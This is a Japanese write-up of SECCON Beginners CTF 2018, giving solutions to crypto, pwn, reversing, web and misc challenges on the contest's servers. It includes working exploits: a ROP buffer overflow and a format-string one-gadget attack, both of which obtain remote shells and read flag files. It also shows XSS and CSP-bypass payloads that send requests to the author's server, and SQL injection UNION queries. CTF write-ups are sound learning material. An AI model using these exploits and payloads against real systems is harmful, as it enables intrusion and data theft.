Edited at

SECCON Beginners CTF 2018 Write-up

More than 1 year has passed since last update.

SECCON Beginners CTF 2018 Write-up

初心者向けを謳っているので簡単かと思いきや、なかなか難しかったし、面白かった。

全問解けて5位。

 


Crypto


[Warmup] Veni, vidi, vici

ファイルが3個。

Gur svefg cneg bs gur synt vf: pgs4o{a0zber

The first part of the flag is: ctf4b{n0more

{ʎɥdɐɹɓ0ʇdʎᴚ :sı ɓɐlɟ ǝɥʇ ɟo ʇɹɐd pɹıɥʇ ǝɥ⊥

1個目は、ROT13。2個目は8文字ずらす。3個目は180度回転。

The first part of the flag is: ctf4b{n0more

The second part of the flag is: _cLass!cal_c
The third part of the flag is: Rypt0graphy}

ctf4b{n0more_cLass!cal_cRypt0graphy}


RSA is Power

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577

E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

200ビットちょっとのRSA。この程度のビット数なら、msieveで2分くらいで素因数分解できる。正攻法で解けば良い。

Nを素因数分解すると$299681192390656691733849646142066664329\times324144336644773773047359441106332937713$。


solve.py

def exgcd(m, n):

if n>0:
y,x,d = exgcd(n, m%n)
return x, y-m/n*x, d
else:
return 1, 0, m

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

p = 299681192390656691733849646142066664329
q = 324144336644773773047359441106332937713
d = exgcd(E, (p-1)*(q-1))[0] % ((p-1)*(q-1))
P = pow(C, d, N)
print ("%x"%P).decode("hex")


ctf4b{5imple_rs4_1s_3asy_f0r_u}


Streaming

ストリーム暗号seedとして64ビットの乱数を渡しているものの、seed % self.Cとして使われ、C = 34607。全てのseedを試せば良い。


solve.py

class Stream:

enc = open("encrypted", "rb").read()
for seed in range(34607):
g = Stream(seed)
flag = ""
for i in range(0, len(enc), 2):
a = ord(enc[i]) + ord(enc[i+1])*256
a ^= g.next()
flag += chr(a/256) + chr(a%256)
print seed, flag


$ python solve.py

32495 ctf4b{lcg-is-easily-predictable}

ctf4b{lcg-is-easily-predictable}


Well Known

この問題が面白かった。

$ nc crypt1.chall.beginners.seccon.jp 31337

p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
1234
r = 21183250010359952806345122199015360642338725222737198513375283413383256132564
s = 36619232422612186792893409826912120542431864274384435239388224437543194174673
Input your data (in hex):
5678
r = 52883516820858375951883658778458908842158291321833812874960538246118025719949
s = 38272579346732565596266925322623659649576880441070283686962472416114312432527
Input your data (in hex):
abcd
r = 42916661205479218449094254775545760042632974514727200508342979651155729786746
s = 73609086218427341451086400580034668272675991946938894384373008773538778902072
Bye.

最初はプログラムを見ても、いまいち何をやっているのか分からなかった。modpqの2通りあるし、使わない変数yを計算しているし。

ElGamal署名だった。「二つの別々のメッセージに同じ乱数kで署名を行った場合、攻撃者は直接xを得ることが可能になる」と書かれている。具体的な方法はこの動画で説明されていた。要は、変数が一つ減ったことで代数的に解けるということだろうか。

問題のプログラムではkは入力したdataのSHA1ハッシュと乱数から計算され、mは入力したdataのSHA256ハッシュ。SHAtteredからPDFを持ってきて、先頭部分を切り出せば、kが等しくmが異なる入力に対する、rsが手に入る。

$ nc crypt1.chall.beginners.seccon.jp 31337

p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
Input your data (in hex):
255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s = 8978472509224036527515663531932899733739119377977868324278588823158777659676
Input your data (in hex):
255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s = 66078837985264647705939274457378061453221461868280624730167528869291273226897
Input your data (in hex):
00
r = 41587201935967282981765982098114759323903928399977527851983400789192853925147
s = 22357638860429299406335781378506993048043434793209548086385190575198656954841
Bye.


solve.py

import hashlib

m1 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1"
m2 = "255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1"
m1 = int(hashlib.sha256(m1.decode("hex")).hexdigest(), 16)
m2 = int(hashlib.sha256(m2.decode("hex")).hexdigest(), 16)

p = 16679194083198950687969733986499924699835997894294807759601033231804550956076926394797958147206191858229465423843797136657860397100060653518514490788419250294275491646689139382741390885296209825510705565868543061881083043043446628516620883906294950391487746915826124373185188216150387558662775769805286515637408175762133603376999884676209361588612724070528494953605301744960179010609458234176550274930122827013540894528488276643059847223625821679882670154250268515234794527153017169583443601216000572420740097190510158670349989667726985760572138710696259607237091420821807056064853023532483648815991497848164747218929
q = 88967137731772648680425587173543061937973706623745105800741828685065752059867
g = 2205575219328681268586322263126158959805960545859875072720447872093269479444559630062394304494512448143523042089258619254204423242110599833444688328880935733612320348258085635290937281673030516545903041256327133878336387195428156600554101046621249609008064639306760200339500602176359940601289972850543735490094373239473342539256157264072918742944223085712953032309226874913361238483889448772032982320710296503313274066005155266183857629778883344435324830986829674201862988844232482517447003175462357914024090662173310667023410075095146627467896921016941051525444471914371051245117060842426553215352438575834348924616
r = 64848611523130438744313129939348180691266668409577214622772178725477814389504
s1 = 8978472509224036527515663531932899733739119377977868324278588823158777659676
s2 = 66078837985264647705939274457378061453221461868280624730167528869291273226897

def inv(x):
return pow(x, q-2, q)

k = (m1-m2)*inv(s1-s2)
x = (s1*k-m1)*inv(r)%q
print hex(x)[2:-1].decode("hex")


問題のスクリプトを読むとp, q, gは繋ぐ度に生成されそうだけど、変わらないのはなぜだろう?

ctf4b{be_c4reful_w1th_k}


Pwn


[Warmup] condition

指定されたサーバーに繋いだら、こんな感じ。

Please tell me your name...hogehoge

Permission denied

「え、とっかかりが分からない。難しくない!?」となったけど、ちゃんと問題を見たらサーバーのプログラムが配布されていた。逆アセンブルすると、読み込みバッファの直後の変数が0xdeadbeefならフラグが表示されるようになっていた。

$ printf 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde\n' | nc pwn1.chall.beginners.seccon.jp 16268

Please tell me your name...OK! You have permission to get flag!!
ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}


BBS

こんな感じ。

$ nc pwn1.chall.beginners.seccon.jp 18373

Input Content : hogehoge

==============================

Sun May 27 02:49:24 JST 2018
hogehoge

==============================

ハンド逆アセンブル。

#include <stdio.h>


int main()
{
char buf[128];
printf("Input Content : ");
gets(buf);
puts("==============================\n");
system("date");
printf("%s\n\n==============================\n");
}

とてもわかりやすいスタックバッファーオーバーフローがある。getsが読み込みを終了するのは\nだけなので、NUL文字を書き込むこともできる。コード中にsystemも用意してくれている。なので、簡単……かと思いきや、意外とハマった。x64だから、引数はスタックに積むのではなくrdiで渡す。そもそも、どこかから/bin/shという文字列を持ってこないといけない。

ということで、Return Oriented Programmingでgets(書き込み可能なアドレスA); system(A)を実行する。逆アセンブル結果には、pop rdi; retが見つからないけれど、gdb-pedaで、プログラムを実行中にdumpropを叩くと出てきた。pop r15にはpop rdiが含まれていた。

gdb-peda$ dumprop

Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: bbs_3e897818670a0db55eaed8109b6a73f0e03d54e7-rop.txt ...
0x40074f: ret
0x40065a: repz ret
0x4006f8: leave; ret
0x4005f0: pop rbp; ret
0x400763: pop rdi; ret
0x400762: pop r15; ret
0x4006f7: add cl,cl; ret


solve.py

from socket import *

from time import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 18373))
print s.recv(10000)
t = "a"*136
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400570) # gets
t += pack("<Q", 0x400763) # pop rdi; ret
t += pack("<Q", 0x601058) # bss
t += pack("<Q", 0x400540) # system
t += "\n"
s.send(t)
s.send("/bin/sh\n")

t = Telnet()
t.sock = s
t.interact()


$ python solve.py

Input Content :

==============================

Sun May 27 03:13:04 JST 2018
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac@

==============================
ls -al
total 36
drwxr-x--- 2 root bbs 4096 May 19 01:16 .
drwxr-xr-x 7 root root 4096 May 19 01:16 ..
-rw-r----- 1 root bbs 220 Sep 1 2015 .bash_logout
-rw-r----- 1 root bbs 3771 Sep 1 2015 .bashrc
-rw-r----- 1 root bbs 655 May 16 2017 .profile
-rwxr-x--- 1 root bbs 8872 May 19 01:16 bbs
-rw-r----- 1 root bbs 63 May 19 01:16 flag.txt
cat flag.txt
ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}
exit
*** Connection closed by remote host ***

ctf4b{Pr3p4r3_4rgum3n75_w17h_ROP_4nd_c4ll_4rb17r4ry_func710n5}


Seczon

これが最後まで残った。

$ nc pwn1.chall.beginners.seccon.jp 21735

+---------------------+
| Seczon.com |
+---------------------+
|1) Add a item |
|2) Comment a item |
|3) Show a item |
|4) Delete a item |
+---------------------+
Action:
>> 1
Input item name
>> hoge
Action:
>> 2
Choose item ID
>> 0
Input a comment
>> fuga
Confirmation
hoge
fuga
Action:
>> 3
Choose item ID
>> 0
hoge
fuga

初心者向けなのにヒープオーバーフロー……。に見えるが、コメントの入力で書式指定文字列攻撃ができた。

Action:

>> 2
Choose item ID
>> 0
Input a comment
>> %x %x %x %x
Confirmation
a
23 f77705a0 56609cad f7770000

libcには、one-gadget RCEという、そこに制御を移せばシェルが起動するアドレスがある。

one-gadget RCE in Ubuntu 16.04 libc · うさぎ小屋

配布されたlibcを逆アセンブルして、↑のブログ記事の処理があるアドレスを探せば良い。ASLRでアドレスが変わるので、基準にするmain関数からの戻り先(__libc_start_main)も探す必要がある。PIEが有効だから、pltを参照することはできない。配布されたlibcでは、one-gadget RCEのアドレスが0x18637で、戻り先が0x18637。ハマったのがここで、_IO_proc_openのほうは動かなかった。良く見たらeax=1という条件が書かれていた。__strtold_nanのほうは条件を満たしていた。

方針は、



  1. %n$xでスタック中のスタックのアドレスやlibcのアドレスをリークさせる

  2. one-gadget RCEのアドレス、printfの引数のアドレス、comment関数から戻るときのアドレスを計算する


  3. comment関数から戻るときのアドレスをone-gadget RCEで上書きする

このプログラムはmain関数から戻ることはないので、そこを上書きしても意味が無い。comment関数から戻るときのアドレスを上書きするので一度に書き換えなければならず、コメントの文字数の制限がきついので大変だった。1バイトずつではなく2バイトずつ書き込んで何とかなった。

追記

なぜか「main関数から戻ることはない」と思い込んでいた。main関数からの戻り先を2回に分けて書き換えれば、printfで大きな出力をしなくても、解けそう。


solve.py

from socket import *

from time import *
from struct import *
from telnetlib import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("pwn1.chall.beginners.seccon.jp", 21735))

sleep(1)
print s.recv(1000)

s.send("1\n")
sleep(1)
print s.recv(1000)

s.send("hoge\n")
sleep(1)
print s.recv(1000)

s.send("2\n")
sleep(1)
print s.recv(1000)
s.send("0\n")
sleep(1)
print s.recv(1000)
s.send("%18$x %23$x\n")
sleep(1)
d = s.recv(1000)
print d
t = [int(x, 16) for x in d.split("\n")[2].split(" ")]
stack = t[0]
libc = t[1]
print "stack %08x" % stack
print "libc %08x" % libc

rce = libc - 0x18637 + 0x3ac69
print "rce %08x" % rce

s.send("2\n")
sleep(1)
print s.recv(1000)
s.send("0\n")
sleep(1)
print s.recv(1000)

attack = (
"___" +
pack("<I", stack-0xffffd5c8+0xffffd5bc) +
pack("<I", stack-0xffffd5c8+0xffffd5be) +
"%%%dc" % ((rce%0x10000 - 11)%0x10000) +
"%7$n" +
"%%%dc" % ((rce/0x10000 - rce%0x10000)%0x10000) +
"%8$n" +
"\n")
print len(attack), repr(attack)
s.send(attack)

t = Telnet()
t.sock = s
t.interact()


+---------------------+

| Seczon.com |
+---------------------+
|1) Add a item |
|2) Comment a item |
|3) Show a item |
|4) Delete a item |
+---------------------+
Action:
>>
Input item name
>>
Action:
>>
Choose item ID
>>
Input a comment
>>
Confirmation
hoge
ffd06478 f753c637
Action:
>>
stack ffd06478
libc f753c637
rce f755ec69
Choose item ID
>>
Input a comment
>>
33 '___ld\xd0\xffnd\xd0\xff%60510c%7$n%2796c%8$n\n'
Confirmation
hoge
___ldミdミ

ls -al
total 36
drwxr-x--- 2 root seczon 4096 May 19 01:16 .
drwxr-xr-x 7 root root 4096 May 19 01:16 ..
-rw-r----- 1 root seczon 220 Sep 1 2015 .bash_logout
-rw-r----- 1 root seczon 3771 Sep 1 2015 .bashrc
-rw-r----- 1 root seczon 655 May 16 2017 .profile
-rw-r----- 1 root seczon 51 May 19 01:16 flag.txt
-rwxr-x--- 1 root seczon 11984 May 19 01:16 seczon
cat flag.txt
ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}
exit
*** Connection closed by remote host ***

ctf4b{F0rm4t_5tr!ng_Bug_w!th_4lr3ady_pr!nt3d_d4t4}


Reversing


[Warmup] Simple Auth

逆アセンブルして読む。

ctf4b{rev3rsing_p4ssw0rd}


Activation

.NET。dnSpyが良い。


solve.py

d = open("Activation.exe", "rb").read()[0x3b9c:0x3cf5]

d = list(d)
for i in range(len(d)):
d[i] = chr((ord(d[i]) ^ i ^ 170) & 0xff)
d = "".join(d)
print d

idx = [0, 15, 50, 85, 103, 111, 127, 130, 151, 156, 185, 249, 259, 270, 297, 334]
for i in range(len(idx)):
print idx[i], d[idx[i]:idx[i+1]] if i+1<len(idx) else d[idx[i]:]


で、暗号化されている文字列が復号できる。

アクティベーションコードを暗号化して、プログラム中の文字列と一致しているかをチェックしているので、逆にプログラム中の文字列を復号する。


solve.py

from Crypto.Cipher import AES

E = "E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5".decode("base64")
aes = AES.new("SECCON_BEGINNERS", AES.MODE_ECB, "CTF4B7E1"*2)
print repr(aes.decrypt(E))


ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}


crackme

逆アセンブルして解析。


solve.py

K = [

0x9c,0x9e,0x8c,0x3e,0x68,0x64,0x7b,0x3f, 0x50,0x63,0x0a,0x7f,0x55,0x73,0x1e,0x64,
0x3c,0x55,0x7b,0x6e,0x60,0x5d,0x34,0x26, 0x26,0x65,0x6d,0x37,0x39,0x79,0x3f,0x28,
]
s = 0xff
for i in range(0, 16, 4):
K[i] ^= s
s ^= 0x15
K[i+1] ^= s
s |= 0x20
K[i+2] ^= s
s &= 0x0f
K[i+3] ^= s
for i in range(16, 32, 4):
K[i] ^= s
s &= 0x0a
K[i+1] ^= s
s /= 3
K[i+2] ^= s
s ^= 0x55
K[i+3] ^= s
print "".join(map(chr, K))

ctf4b{D0_y0u_l!k3_x86_4ssembly?}


Message from the future


2020年からメッセージが届きました。

0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759

メッセージはこのプログラムによって暗号化されています。


とのこと。

プログラムを動かしてみると、出力は、入力の対応する位置の文字と、実行時の年月のみに依存していることが分かる。2020年1月から12月まで日付を変えながら、ctf4b{をエンコードして0f242e412b34となる月を探す。8月だった。オリンピック? あとは、日付を2020年8月にして、!!!!!!!!...""""""""...########...、…を暗号化し、それぞれの位置で暗号文の文字を探せば良い。Reversingは不要。暗号文が00になると、なぜか以降の文字が出力されなくなるので、そこだけ文字を変えたりする。面倒。

ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}


Web


[Warmup] Greeting

Cookieにname=adminを書き込むのが想定解っぽいけど、普通に入力欄にadminと入れて、(POSTではなくGETで)ページを再読込すればフラグが出てくる。

ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}


Gimme your comment


ビギナーズカンパニーは皆様からのご意見をお待ちしています。

お問合わせの回答には特別なブラウザを使用しており、このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)


手元にサーバーを立ち上げて、問い合わせの本文に<img src="http://自分のIPアドレス">を書き込む。

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}


SECCON Goods

XHRで読みこんでいる/items.php?minstock=0にSQL Injectionがある。色々試すとMySQLらしい。0 UNION SELECT table_name,2,3,4,5 FROM information_schema.tables--で、flagというテーブルがあることが分かる。0 UNION SELECT flag,2,3,4,5 FROM flag--でフラグが出てくる。DBエンジンの推測より先にSELECT flag FROM flagを試すべきだった。

ctf4b{cl4551c4l_5ql_1nj3c710n}


Gimme your comment REVENGE

脆弱性が直ってなくない?と思ったら、Content-Security-Policy: default-src 'self'ヘッダが設定されていた。これでは手元のサーバーにリクエストが飛ばない。

偽のフォームを用意すれば良い。

<form action="http://自分のIPアドレス">

<input name="comment_content">
<button type="submit">
</form>
<!--

ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}


Misc


[Warmup] Welcome


フラグは公式IRCチャンネルのトピックにあります。


「近頃の若いもんは、コンテスト終了後にIRCで情報交換をしないからいかん」ということだろうか?w

ctf4b{welcome_to_seccon_beginners_ctf}


[Warmup] plain mail

「パスワードは別のメールでお送りします」というやつ。Wiresharkで開いて、Follow → TCP Streamで見やすくなる。

ctf4b{email_with_encrypted_file}


てけいさんえくすとりーむず

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690

Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
821 * 851 = 698671
(Stage.2)
693 - 548 = 145
(Stage.3)
788 - 903 = 0
[!!] Wrong, see you.

300問答えるとフラグが出てくる。


solve.py

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("tekeisan-ekusutoriim.chall.beginners.seccon.jp", 8690))

def read():
t = ""
while len(t)==0 or t[-1]!="\n":
t += s.recv(1)
return t[:-1]

for _ in range(11):
print read()

for _ in range(100):
print read()
q = s.recv(100)
print q
s.send("%s\n" % eval(q[:-3]))

print s.recv(100)


ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}


Find the messages

FTK Imagerを使った。

File → Add Evidence Item... → Image File。message_1_of_3.txtはbase64。message_2_of_3.pngはシグネチャ部分が潰されているので、先頭8バイトを89 50 4e 47 0d 0a 1a 0aに書き換える。message_3_of_3.pdfはなぜか出てこないので、問題のイメージを%PDFで検索して切り出した。

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}